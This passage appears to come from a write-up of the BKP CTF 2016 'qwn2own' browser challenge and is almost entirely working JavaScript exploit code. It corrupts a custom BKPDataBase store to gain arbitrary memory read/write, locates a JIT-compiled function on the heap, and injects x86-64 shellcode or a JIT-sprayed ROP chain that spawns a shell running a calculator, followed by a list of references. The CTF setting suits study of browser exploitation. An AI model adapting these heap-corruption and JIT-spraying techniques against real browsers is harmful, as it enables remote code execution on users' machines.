nextsz = read(jimbo + chunksz);
if (nextsz < 0x20 || (nextsz & 0xfff1) != nextsz || (nextsz & 1) != 1) continue;
// page aligned addresses?
heapaddr = read(jimbo + 10 * 8);
if (heapaddr <= B_vec || (heapaddr & 0xfff) != 0) continue;
if (heapaddr != read(jimbo + 11 * 8)) continue;
/* matches JS heap caracs? */
nbregions = read(jimbo + 2 * 8);
regsz = read(jimbo + 4 * 8);
heapsz = read(jimbo + 12 * 8);
if (nbregions != 2 || (heapsz & 0xfff) != 0 || (regsz & 0xfff) != 0 || heapsz == 0 || nbregions * regsz != heapsz) continue;
/* start scanning from heapaddr .. */
for (var i = 0; i < 100; i++) {
var b = heapaddr + i * 8;
var check = 1;
for (var j = 0; j < 20; j++) {
if (read(b + j * 8) != read(b + j * 8 + 24)) {
check = 0;
break;
}
}
if (check && read(b) == read(b + 8) && read(b) != read(b + 16)) {
strptr = read(b); // str
funcptr = read(b + 16); // func_jit
break;
}
}
break;
}
print("funcptr = " + funcptr.toString(16));
var jitptr = read(read(funcptr + 24) + 32);
print("jitptr = " + jitptr.toString(16));
for (var i = 0; i < shellcode.length; i++) {
write(jitptr + i, shellcode.charCodeAt(i));
}
alert(1);
func_jit(100, 200, 300);
}
exploit();
JIT ROP:
var shellcode = "\x6a\x00\x48\x8d\x14\x24\x48\x8d\x05\x2d\x00\x00\x00\x50\x48\x8d\x05\x22\x00\x00\x00\x50\x48\x8d\x05\x12\x00\x00\x00\x50\x48\x8d\x34\x24\x48\x8b\x3c\x24\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x62\x61\x73\x68\x20\x2d\x63\x20\x27\x44\x49\x53\x50\x4c\x41\x59\x3d\x3a\x30\x20\x67\x6e\x6f\x6d\x65\x2d\x63\x61\x6c\x63\x75\x6c\x61\x74\x6f\x72\x27\x00";
function exploit() {
function print(msg) {
document.write(msg + "<br>");
}
function func_jit(x, y, z) {
for (var i = 0; i < 1000000; i++) {
// enough time to jit
z = z ^ 0xbbe8894c ^ 0x00bb0000 ^ 0x402d4800 ^ 0x00054800 ^ 0x0000bb00 ^ 0xbb66388b ^ 0xbbe8894c ^ 0x00bb0000 ^ 0x482d4800 ^ 0x00054800 ^ 0x0000bb00 ^ 0xbb66308b ^ 0xbb6620b1 ^ 0xbbe7d348 ^ 0xbb660000 ^ 0xbbf70148 ^ 0xbb660000 ^ 0xbbff8949 ^ 0xbb660000 ^ 0x00bb14b1 ^ 0xbbe6d300 ^ 0x00bb0000 ^ 0xbbeed300 ^ 0xbb660000 ^ 0xbbf72948 ^ 0xbb660000 ^ 0x1000be90 ^ 0x0000f681 ^ 0xbbd23148 ^ 0xbb660000 ^ 0xbb6607b2 ^ 0x00bbc031 ^ 0xbb0ab000 ^ 0xbb660000 ^ 0x00bb050f ^ 0xe7ff4100;
x = x ^ 0x11111111 ^ 0x22222222;
x = x ^ 0x33333333 ^ 0x44444444;
y = y ^ 0xaaaaaaaa ^ 0xbbbbbbbb;
}
return z;
}
func_jit(0, 1, 2); // call for jit
var T = new Array(10000);
for (var i = 0; i < 10000; i++) {
var Td = new Array(50);
for (var j = 0; j < 47; j += 3) {
Td[j] = shellcode;
Td[j + 1] = shellcode;
Td[j + 2] = func_jit;
}
T[i] = Td;
}
var db = BKPDataBase.create("name", "password");
for (var tt = 1000; tt > 0; tt--) {
var key1 = Math.floor(Math.random() * 1e12);
var key2 = Math.floor(Math.random() * 1e12);
var key3 = Math.floor(Math.random() * 1e12);
var A = db.createStore("A", 1, [0, 1, 2], 0xabcd1);
var B = db.createStore("B", 1, [0, 0xcccc, key3, 0xdddd], 0xabcd1);
var C = db.createStore("C", 1, [0xaaaa, key2, 0xbbbb], key1);
A.remove(-1);
A.insert(0, 0xfffff00000001); // increase size
B.remove(-1);
B.insert(0, 0xfffff00000001);
var A2B_off_idx = -1; // A to B offset index
for (var i = 0; i < 1000; i++) {
if (A.get(i) == 0xcccc && A.get(i + 1) == key3 && A.get(i + 2) == 0xdddd) {
A2B_off_idx = i - 1;
break;
}
}
if (A2B_off_idx == -1) continue;
var C_vec = -1; // C intvect
for (var i = 0; i < 1000; i++) {
if (B.get(i) == key1 && B.get(i - 1) == B.get(i - 3)) {
C_vec = B.get(i - 2);
break;
}
}
if (C_vec == -1) continue;
var B2C_index = -1; // B to C index
for (var i = 0; i < 1000; i++) {
if (B.get(i) == 0xaaaa && B.get(i + 1) == key2 && B.get(i + 2) == 0xbbbb) {
B2C_index = i;
break;
}
}
if (B2C_index == -1) continue;
break;
}
print("A2B_off_idx = " + A2B_off_idx);
print("C_vec = " + C_vec.toString(16));
print("B2C_index = " + B2C_index);
var B_vec = C_vec + 24 - B2C_index * 8;
print("B_vec = " + B_vec.toString(16));
function read(addr) {
var offset = addr - B_vec;
A.insert(A2B_off_idx, offset);
var x = B.get(0);
A.insert(A2B_off_idx, 0);
return x;
}
function write(addr, v) {
var offset = addr - B_vec;
A.insert(A2B_off_idx, offset);
B.insert(0, v);
A.insert(A2B_off_idx, 0);
}
var strptr = null;
var funcptr = null;
for (var jimbo = B_vec; funcptr == null; jimbo -= 8) {
// check chunk is valid
chunksz = read(jimbo);
if (chunksz < 0x20 || (chunksz & 0xf1) != chunksz) continue;
chunksz -= chunksz & 1;
nextsz = read(jimbo + chunksz);
if (nextsz < 0x20 || (nextsz & 0xfff1) != nextsz || (nextsz & 1) != 1) continue;
// page aligned addresses?
heapaddr = read(jimbo + 10 * 8);
if (heapaddr <= B_vec || (heapaddr & 0xfff) != 0) continue;
if (heapaddr != read(jimbo + 11 * 8)) continue;
/* matches JS heap caracs? */
nbregions = read(jimbo + 2 * 8);
regsz = read(jimbo + 4 * 8);
heapsz = read(jimbo + 12 * 8);
if (nbregions != 2 || (heapsz & 0xfff) != 0 || (regsz & 0xfff) != 0 || heapsz == 0 || nbregions * regsz != heapsz) continue;
/* start scanning from heapaddr .. */
for (var i = 0; i < 100; i++) {
var b = heapaddr + i * 8;
var check = 1;
for (var j = 0; j < 20; j++) {
if (read(b + j * 8) != read(b + j * 8 + 24)) {
check = 0;
break;
}
}
if (check && read(b) == read(b + 8) && read(b) != read(b + 16)) {
strptr = read(b); // shellcode
funcptr = read(b + 16); // func_jit
break;
}
}
break;
}
print("funcptr = " + funcptr.toString(16));
var jitptr = read(read(funcptr + 24) + 32);
print("jitptr = " + jitptr.toString(16));
var scptr = read(strptr + 16) + 32;
print("scptr = " + scptr.toString(16));
write(read(funcptr + 24) + 32, jitptr + 84);
alert(1);
func_jit(Math.floor(scptr / 0x100000000), scptr & 0xffffffff, 3);
}
exploit();
References
JavaScript - Wikipedia
STCS 2016 - YouTube
读 QT5.7 源码(一)QArrayData QTypedArrayData_春暖花开-CSDN 博客_qarraydata
JIT spraying - Wikipedia
qwn2own 記錄 - HackMD
FrizN - BKP CTF 2016 - qwn2own - generic browser exploits
Attacking the Webkit heap [Or how to write Safari exploits]
ptmalloc, tcmalloc and jemalloc - actorsfit
How tcmalloc Works | James Golick